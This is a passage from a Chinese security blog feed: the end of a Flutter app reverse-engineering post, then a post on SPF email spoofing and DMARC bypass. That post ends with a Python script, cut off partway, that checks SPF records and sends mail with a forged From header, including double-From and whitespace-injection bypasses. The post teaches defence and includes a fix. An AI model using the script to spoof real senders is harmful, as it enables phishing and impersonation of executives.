&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764210708300-41498a.Cja78aSf_1zCHyA.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;打开 loginPwd.dart，我不仅看到了逻辑结构，还看到了关键信息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764210708359-71febc.BOaPneq-_Z1aGhb5.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x03 最终：我没辙了&lt;/h2&gt;
&lt;p&gt;准备动态加载 JS 呢进行调试呢。搞来搞去怎么样也不对，登录之后获取 hexdump 获取不到明文的返回，放弃了。&lt;br&gt;
~~我本身抓包的参数就是明文，一开始的出发点也只是审计代码漏洞，没想到越跑越歪。~~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764210708445-61df22.BT1-ixRk_Z1UBu9D.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现后面有些困难了，中间丢失了一些图和内容。。我也忘记了。&lt;/p&gt;
&lt;p&gt;总之坑点在于，看到 Flutter 后，就干脆跑路吧，Flutter 编译后，只能 hook 二进制流 dump 出来。&lt;/p&gt;
&lt;p&gt;这玩意可能无解了，这还加固什么劲?&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;📝 复盘总结&lt;/h2&gt;
&lt;p&gt;回看整个过程，如果一开始我就知道它是 Flutter，我完全可以跳过第一章和第二章的几十个小时折腾。&lt;/p&gt;
&lt;p&gt;这次逆向最大的教训是：&lt;strong&gt;不要在错误的战场浪费时间。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;识别架构&lt;/strong&gt;：如果 DEX 脱出来是空的，第一时间检查 &lt;code&gt;lib&lt;/code&gt; 目录有没有 &lt;code&gt;libflutter.so&lt;/code&gt; 或 &lt;code&gt;libcocos.so&lt;/code&gt;。如果是 Flutter，直接放弃 Java 层分析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境适配&lt;/strong&gt;：Android 16 对 Frida 的兼容性很不友好。当标准 API (&lt;code&gt;Module.findBaseAddress&lt;/code&gt;) 失效时，要灵活尝试底层 API (&lt;code&gt;Process&lt;/code&gt;)。当公共目录写不进去时，要想到利用 App 的私有目录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工具链组合&lt;/strong&gt;：Frida (动态提取) + SoFixer (修复头) + Blutter (还原符号) 。&lt;/li&gt;
&lt;/ol&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>有关SPF邮件信息伪造的内容</title><link>https://s4u2self.cc/blog/spf-email-spoofing</link><guid isPermaLink="true">https://s4u2self.cc/blog/spf-email-spoofing</guid><description>有关SPF邮件信息伪造的内容</description><pubDate>Fri, 02 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么我能假冒你们 CEO 发邮件？（即便你以此为豪配置了 SPF）&lt;/h2&gt;
&lt;p&gt;很简单的一件事，就是客户的域名配置了SPF，但是给的是软策略，基本上邮件都能通过，今天被监管通报了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1765777674454-0df763.DdcKmcwe_Z2p98Nb.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;大概差不多就是这样吧，图是我后面补的。&lt;/p&gt;
&lt;p&gt;关于邮件这一块我也了解得不深，基本不会遇到这种有效的漏洞，这次恰好测试就干脆记录一下。&lt;/p&gt;
&lt;p&gt;有关SPF的查询，可以到这里进行：&lt;a href=&quot;https://www.site24x7.cn/zhcn/tools/spf-validator.html&quot;&gt;https://www.site24x7.cn/zhcn/tools/spf-validator.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1765777674575-c5c1d0.9TYDchLC_Z1wKr0a.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;状态会有4种，大概解释一下。&lt;/p&gt;
&lt;p&gt;这四个符号（-, ~, ?, +）被称为 SPF 限定符 (Qualifiers)，它们决定了“当发信 IP 不在允许列表中时，接收方该怎么处理”。&lt;/p&gt;
&lt;p&gt;我们可以把邮件服务器比作小区的保安，IP 地址就是访客的身份证。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;SPF的四种状态码&lt;/h3&gt;
&lt;h4&gt;1. Hard Fail&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;硬拒绝&lt;/strong&gt;。只有列表里的 IP 能发，其他的全是伪造，直接拒收。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“我手里有一份白名单。只有名单上的人能进。**所有不在名单上的人，直接拿棍子打出去！**连门都不让进。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：邮件直接被 SMTP 层级拒绝（550 Error），发件人会收到退信。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 ip4:1.1.1.1 -all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：QQ/Gmail 服务器说：“你不是 1.1.1.1，并且策略是 -all，**滚**。”
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. Soft Fail&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;~all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;软拒绝&lt;/strong&gt;。不在列表里的 IP 也能发，但会被标记为“可疑”或垃圾邮件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“我手里有白名单。不在名单上的人...我想拦，但我老板（管理员）怕拦错了客户。行吧，&lt;strong&gt;你进去吧，但我在你背上贴个条子：‘此人可疑’&lt;/strong&gt; 。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：邮件会被接收，但极大概率进入&lt;strong&gt;垃圾箱&lt;/strong&gt;，或者显示红色警告。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 ip4:1.1.1.1 ~all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：能够发送成功，但受害者的收件箱里会显示“此邮件可能不是由 info@domain.com 发送的”，或者直接躺在垃圾箱里。这是目前互联网最常见的配置（为了防止误杀）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. Neutral&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;?all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;中立&lt;/strong&gt;。不做任何声明。不管 IP 在不在列表里，我都“不置可否”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“我手里没有名单，或者说我懒得管。&lt;strong&gt;你是谁？我不知道。能不能进？你自己问屋里人去。&lt;/strong&gt; ”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：SPF 检查结果是 Neutral，邮件通常会被放行进入收件箱（除非内容本身太像垃圾邮件）。这等于配置了个寂寞。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 ip4:1.1.1.1 ?all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：大摇大摆进入收件箱，不做任何拦截。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. Allow All&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;+all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;全通过&lt;/strong&gt;。任何 IP 都是合法的发件人。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“&lt;strong&gt;大门敞开！谁都可以进！&lt;/strong&gt;  面具人、强盗、骗子，统统欢迎！”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：任何黑客都可以完美伪造你的域名，且 SPF 检查结果是 &lt;strong&gt;PASS&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 +all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(极少见，除非是测试或者蜜罐)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：邮件不仅进了收件箱，而且系统还告诉用户“这封邮件是通过 SPF 安全验证的哦”。**这是极度危险的配置错误。**
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;| 符号 | 模式 | 伪造难度 | 后果 | 推荐度 |
| --- | --- | --- | --- | --- |
| &lt;strong&gt;-all&lt;/strong&gt; | &lt;strong&gt;Hard Fail&lt;/strong&gt; | ⭐⭐⭐⭐⭐ (极高) | 直接拒收 | &lt;strong&gt;推荐&lt;/strong&gt; (只要确保 IP 没漏填) |
| &lt;strong&gt;~all&lt;/strong&gt; | &lt;strong&gt;Soft Fail&lt;/strong&gt; | ⭐⭐⭐ (一般) | 进垃圾箱 | &lt;strong&gt;过渡期推荐&lt;/strong&gt; |
| &lt;strong&gt;?all&lt;/strong&gt; | &lt;strong&gt;Neutral&lt;/strong&gt; | ⭐ (极低) | 进收件箱 | 不推荐 |
| &lt;strong&gt;+all&lt;/strong&gt; | &lt;strong&gt;Pass&lt;/strong&gt; | ☠️ (无) | &lt;strong&gt;SPF Pass&lt;/strong&gt; | &lt;strong&gt;绝对禁止&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;很遗憾的就是客户设置的就是 &lt;strong&gt;~all  导致邮箱伪造发信人通过。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后来测试已经-all。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1765777674790-e49278.DYZ4z-ys_Z21quD.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;另外一种绕过可能：&lt;/h3&gt;
&lt;p&gt;我们域名早在八百年前就配了 SPF &lt;code&gt;v=spf1 ... -all&lt;/code&gt;，硬拒绝策略！稳得很。&lt;/p&gt;
&lt;p&gt;真的如此吗？&lt;/p&gt;
&lt;p&gt;虽然 &lt;code&gt;-all&lt;/code&gt; 防御了直接的 SPF 欺骗，但作为安全工程师，你必须知道单纯的 SPF &lt;code&gt;-all&lt;/code&gt; 依然存在被绕过的可能，这就是为什么还需要 &lt;strong&gt;DMARC&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绕过场景（Header From 欺骗）：&lt;/strong&gt; 如果攻击者稍微聪明一点，使用以下配置发送邮件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Envelope From (信封发件人/Return-Path)&lt;/strong&gt; : &lt;code&gt;attacker@evil-domain.com&lt;/code&gt; (攻击者自己的域名，且攻击者IP在 &lt;code&gt;evil-domain.com&lt;/code&gt; 的 SPF 允许列表中 —— &lt;strong&gt;SPF 检查通过&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Header From (邮件头显示的发件人)&lt;/strong&gt; : &lt;code&gt;admin@baidu.com&lt;/code&gt; (你的域名)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;结果：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;邮件接收方检查 &lt;code&gt;Envelope From&lt;/code&gt; 的 SPF，结果是 &lt;strong&gt;PASS&lt;/strong&gt;（因为查的是攻击者的域名）。&lt;/li&gt;
&lt;li&gt;用户在客户端里看到的却是 &lt;code&gt;admin@baidu.com&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：如果没有配置 &lt;strong&gt;DMARC&lt;/strong&gt; 来强制要求“Header From”和“Envelope From”保持一致，SPF &lt;code&gt;-all&lt;/code&gt; 也无法防御这种“挂羊头卖狗肉”的欺骗。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;在邮件协议这个古老的世界里，有时候“看大门的”和“前台接待”根本不是一伙人。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;其实这也是很常见的一种邮件代发策略，简单扒一扒这个让绕过思路。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;1. 邮件协议的“精神分裂”&lt;/h5&gt;
&lt;p&gt;要理解这个漏洞，你得先知道一个冷知识：&lt;strong&gt;SMTP 协议是 40 多年前设计的&lt;/strong&gt;。那个年代的互联网全是君子，大家互相信任，压根没考虑过有人会撒谎。&lt;/p&gt;
&lt;p&gt;所以，SMTP 在设计上把“信封”和“信纸”完全分开了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信封上的发件人 (Envelope Sender)&lt;/strong&gt; ：这是给邮局（邮件服务器）看的，用来决定退信退给谁。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;技术黑话叫&lt;/em&gt; &lt;strong&gt;&lt;code&gt;MAIL FROM&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;。&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信纸上的落款 (Header From)&lt;/strong&gt; ：这是给收信人（你我）看的，显示在 outlook 或手机屏幕上。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;技术黑话叫&lt;/em&gt; &lt;strong&gt;&lt;code&gt;From&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;。&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;漏洞就在这儿：&lt;/strong&gt;  现有的 SPF 检查，就像是一个看大门的保安。他非常尽职，但他&lt;strong&gt;只检查信封&lt;/strong&gt;。 只要快递员（发送方服务器）拿的信封是合法的（比如我用网易账号发信，信封写的是网易，网易服务器当然认可），保安就放行了：“进去吧，没毛病。”&lt;/p&gt;
&lt;p&gt;至于信封里面的信纸上，落款写的是“马化腾”还是“丁磊”，保安&lt;strong&gt;压根不看&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这就是为什么我能绕过你的 SPF：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我的信封&lt;/strong&gt;：用我的网易账号 (&lt;code&gt;XXXX@163.com&lt;/code&gt;) —— &lt;strong&gt;SPF 检查通过！&lt;/strong&gt;  (因为我确实拥有这个账号)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我的信纸&lt;/strong&gt;：写上你们公司 CEO 的名字 (&lt;code&gt;admin@baidu.com&lt;/code&gt;) —— &lt;strong&gt;用户被骗！&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就叫“&lt;strong&gt;挂羊头卖狗肉&lt;/strong&gt;”。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;2. 红队视角：花式绕过姿势&lt;/h5&gt;
&lt;p&gt;其实，只要你没上 DMARC，你在红队眼里基本就是裸奔。除了上面这种最经典的“信头欺骗”，我们还有很多好玩的手段。&lt;/p&gt;
&lt;h6&gt;姿势一：“我帮朋友代发”&lt;/h6&gt;
&lt;p&gt;当你用 Outlook 或者手机收邮件时，有时候会看到一行灰色小字：“由 xxx 代发”。 这是邮件客户端良心发现，看到了信封和信纸不一致，特意提醒你。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1765777674930-656059.B9oNzlNi_Z1vmGvm.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这种提醒也可以通过注册相近域名自建SMTP解决。&lt;/p&gt;
&lt;h6&gt;姿势二：视觉欺骗&lt;/h6&gt;
&lt;p&gt;如果你的防御真的滴水不漏（上了 DMARC &lt;code&gt;p=reject&lt;/code&gt;），那我就不攻击你的域名了， 我去注册一个 &lt;code&gt;baidu.com.cn&lt;/code&gt;（把中间的 &lt;code&gt;i&lt;/code&gt; 换成 &lt;code&gt;l&lt;/code&gt;）。 在手机那么小的屏幕上，加上紧张的工作节奏，有几个人能一眼看出来？ 这种域名我自己注册的，SPF、DMARC 全套我都配齐，正规得不能再正规了，当然这是后话了。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;3. 怎么修？&lt;/h5&gt;
&lt;p&gt;别再迷信 SPF &lt;code&gt;-all&lt;/code&gt; 了，他不完全起作用。&lt;/p&gt;
&lt;p&gt;要想真正关上这扇门，你得凑齐邮件安全套：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DKIM (防篡改)&lt;/strong&gt; ： 这就好比给信封加了个封泥。发信时服务器用私钥盖个章，收信时验证一下。这样别人就不能在中途偷偷改你的邮件内容了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC (终极BOSS)&lt;/strong&gt; ： 这才是解决“信封信纸不一致”的唯一解药。 DMARC 就像是给保安下了一道死命令： &lt;strong&gt;“必须拆开信封检查！如果信纸上的落款跟信封对不上，直接把信给我撕了！”&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;建议配置&lt;/em&gt;：&lt;code&gt;v=DMARC1; p=reject; aspf=s; adkim=s;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;注意&lt;/em&gt;：别上来就 Reject，不然你们公司的市场部发不出去邮件会来砍你。先开 &lt;code&gt;p=none&lt;/code&gt; 观察几天，再慢慢收紧。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h5&gt;4. 总结一句&lt;/h5&gt;
&lt;p&gt;邮件安全其实不难，难的是很多人还在用几十年前的老眼光看问题。 &lt;strong&gt;信任是脆弱的。&lt;/strong&gt;  在这个零信任的时代，永远不要相信“发件人”那一行字，除非 DMARC 告诉你：它是真的。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;提供一个我写的测试脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header

def check_spf(domain):
    &quot;&quot;&quot;
    检查目标域名的 SPF 记录
    &quot;&quot;&quot;
    print(f&quot;[*] 正在检查域名: {domain}&quot;)
    try:
        answers = dns.resolver.resolve(domain, &apos;TXT&apos;)
        spf_record = None
        for rdata in answers:
            txt_string = rdata.to_text().strip(&apos;&quot;&apos;)
            if &apos;v=spf1&apos; in txt_string:
                spf_record = txt_string
                break
        
        if spf_record:
            print(f&quot;[+] 发现 SPF 记录: {spf_record}&quot;)
            return spf_record
        else:
            print(&quot;[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。&quot;)
            return None
    except Exception as e:
        print(f&quot;[-] DNS 查询失败 (可能无记录): {e}&quot;)
        return None

def analyze_spf(spf_record):
    &quot;&quot;&quot;
    分析 SPF 记录的安全性
    &quot;&quot;&quot;
    print(&quot;\n--- SPF 策略分析 ---&quot;)
    if not spf_record:
        print(&quot;[-] 未发现 SPF 记录: 极其危险！任何人都可以伪造该域名的邮件。&quot;)
        return True # 无记录，易受攻击

    if &quot;-all&quot; in spf_record:
        print(&quot;[*] 策略模式: Hard Fail (-all)&quot;)
        print(&quot;    解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。&quot;)
        print(&quot;    伪造难度: ⭐⭐⭐⭐⭐ (极高)&quot;)
        print(&quot;    注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗)，否则直接伪造 IP 会失败。&quot;)
        return False
    elif &quot;~all&quot; in spf_record:
        print(&quot;[!] 策略模式: Soft Fail (~all)&quot;)
        print(&quot;    解释: 软拒绝。不在白名单的 IP 也可以发，但会被标记为‘可疑’或垃圾邮件。&quot;)
        print(&quot;    伪造难度: ⭐⭐⭐ (一般)&quot;)
        print(&quot;    注意: 邮件能发出去，但大概率进垃圾箱。&quot;)
        return True
    elif &quot;?all&quot; in spf_record:
        print(&quot;[!] 策略模式: Neutral (?all)&quot;)
        print(&quot;    解释: 中立。不置可否，通常会被接收方放行进入收件箱。&quot;)
        print(&quot;    伪造难度: ⭐ (低)&quot;)
        return True
    elif &quot;+all&quot; in spf_record:
        print(&quot;[!!!] 策略模式: Allow All (+all)&quot;)
        print(&quot;    解释: 允许所有。大门敞开，任何人都可以合法伪造。&quot;)
        print(&quot;    伪造难度: ☠️ (无)&quot;)
        return True
    else:
        print(&quot;[?] 未检测到明确的 &apos;all&apos; 策略，默认安全策略未知，可能允许。&quot;)
        return True

def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name=&quot;System Admin&quot;, exploit_type=&apos;none&apos;):
    &quot;&quot;&quot;
    发送邮件 function
    &quot;&quot;&quot;
    # 如果未指定具体的发件人地址，默认伪造 admin@domain
    if not sender_address:
         sender_address = f&quot;admin@{sender_domain}&quot;

    subject = f&quot;Work Report: {sender_domain}&quot;
    body = f&quot;&quot;&quot;
    Hello,
    
    This is a routine system notification.
    
    Sender: {sender_address}
    Server: {smtp_host}
    
    Please confirm receipt.
    
    Best regards,
    {sender_name}
    &quot;&quot;&quot;

    msg = MIMEMultipart()
    
    # --- 构造 From 头 (核心攻击逻辑) ---
    fake_from = formataddr((Header(sender_name, &apos;utf-8&apos;).encode(), sender_address))
    
    # 真实发件人 (用于欺骗过滤器) - 如果有认证用户，通常是认证用户
    real_user = smtp_user if smtp_user else sender_address
    real_from = formataddr((Header(&quot;Legit Sender&quot;, &apos;utf-8&apos;).encode(), real_user))

    if exploit_type == &apos;double-from&apos;:
        print(&quot;[!] 正在使用 USENIX&apos;21 攻击: Double From Headers (双重头)&quot;)
        # 插入两个 From 头
        # 许多邮件系统在处理重复头时存在差异：有的看第一个，有的看最后一个。
        # 策略：第一个放伪造的（给用户看），第二个放真实的（给 SPF/DMARC 看）
        msg.add_header(&apos;From&apos;, fake_from) 
        msg.add_header(&apos;From&apos;, real_from)
        
    elif exploit_type == &apos;space-injection&apos;:
        print(&quot;[!] 正在使用 USENIX&apos;21 攻击: Whitespace Injection (空格注入)&quot;)
        # 在邮箱地址尾部注入空格 &quot;admin@baidu.com &quot;
        # 某些解析器会包含空格导致正则匹配失败（从而绕过黑名单），但底层投递时又去掉空格。
        malformed_address = f&quot;{sender_address} &quot; # 注意这里的空格
        # 需要手动构造，因为 formataddr 可能会自动修正
        msg[&apos;From&apos;] = f&quot;{Header(sender_name, &apos;utf-8&apos;).encode()} &amp;#x3C;{malformed_address}&gt;&quot;
        
    elif obfuscate:
        # 腾讯云文章思路: From 字段名截断绕过
        print(&quot;[!] 正在应用 Header 混淆 (Padding)...&quot;)
        padding = &quot; &quot; * 500  
        display_name = f&quot;{sender_name} from {sender_domain}&quot; + padding
        msg[&apos;From&apos;] = formataddr((display_name, sender_address))
    else:
        # 默认模式
        encoded_name = Header(sender_name, &apos;utf-8&apos;).encode()
        msg[&apos;From&apos;] = formataddr((encoded_name, sender_address))
        
    msg[&apos;To&apos;] = target_email
    msg[&apos;Subject&apos;] = subject
    msg[&apos;Date&apos;] = formatdate(localtime=True)
    msg.attach(MIMEText(body, &apos;plain&apos;))

    print(&quot;\n&quot; + &quot;=&quot;*40)
    print(f&quot;[*] 准备发送邮件...&quot;)
    print(f&quot;    SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})&quot;)
    print(f&quot;    认证用户: {smtp_user if smtp_user else &apos;无 (匿名)&apos;}&quot;)
    print(f&quot;    伪造发件人 (From): {sender_address}&quot;)
    print(f&quot;    目标收件人 (To):   {target_email}&quot;)
    print(&quot;=&quot;*40)

    try:
        server = None
        if use_ssl:
            server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
        else:
            server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
            # 尝试 StartTLS
            try:
                server.starttls()
            except:
                pass 

        # 登录 (如果提供了密码)
        if smtp_user and smtp_pass:
            print(&quot;[*] 正在登录 SMTP 服务器...&quot;)
            server.login(smtp_user, smtp_pass)
            print(&quot;[+] 登录成功&quot;)

        # 发送
        # 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
        # 但我们可以在 DATA 内容中修改 &apos;From&apos; 头来尝试欺骗客户端显示
        
        # 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”，
        # 通常 SMTP 服务器会强制 MAIL FROM 为登录用户，但可能允许 Header From 不同。
        envelope_sender = smtp_user if smtp_user else sender_address

        server.sendmail(envelope_sender, target_email, msg.as_string())
        server.quit()
        print(&quot;[+] 邮件发送成功！请检查收件箱 (包括垃圾箱)。&quot;)
        
    except smtplib.SMTPAuthenticationError:
        print(&quot;[-] 认证失败：用户名或授权码错误。对于 QQ 邮箱，请确保使用的是授权码而不是 QQ 密码。&quot;)
    except Exception as e:
        print(f&quot;[-] 发送失败: {str(e)}&quot;)

def main():
    parser = argparse.ArgumentParser(description=&quot;SPF 伪造测试工具 (支持 SMTP 认证)&quot;)
    
    parser.add_argument(&quot;domain&quot;, help=&quot;要测试的目标域名 (例如 company.com)&quot;)
    parser.add_argument(&quot;--to&quot;, help=&quot;接收测试邮件的邮箱地址&quot;)
    parser.add_argument(&quot;--sender&quot;, help=&quot;伪造的发件人地址 (可选，默认 admin@domain)&quot;)
    
    # SMTP 配置
    parser.add_argument(&quot;--smtp-host&quot;, default=&quot;127.0.0.1&quot;, help=&quot;SMTP 服务器地址 (默认 127.0.0.1)&quot;)
    parser.add_argument(&quot;--smtp-port&quot;, type=int, default=25, help=&quot;SMTP 端口 (QQ SSL 用 465)&quot;)
    parser.add_argument(&quot;--user&quot;, help=&quot;SMTP 认证用户名 (例如 your_qq@qq.com)&quot;)
    parser.add_argument(&quot;--password&quot;, help=&quot;SMTP 认证密码/授权码&quot;)
    parser.add_argument(&quot;--ssl&quot;, action=&quot;store_true&quot;, help=&quot;使用 SSL 连接 (QQ 邮箱必须开启)&quot;)
    parser.add_argument(&quot;--obfuscate&quot;, action=&quot;store_true&quot;, help=&quot;[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)&quot;)
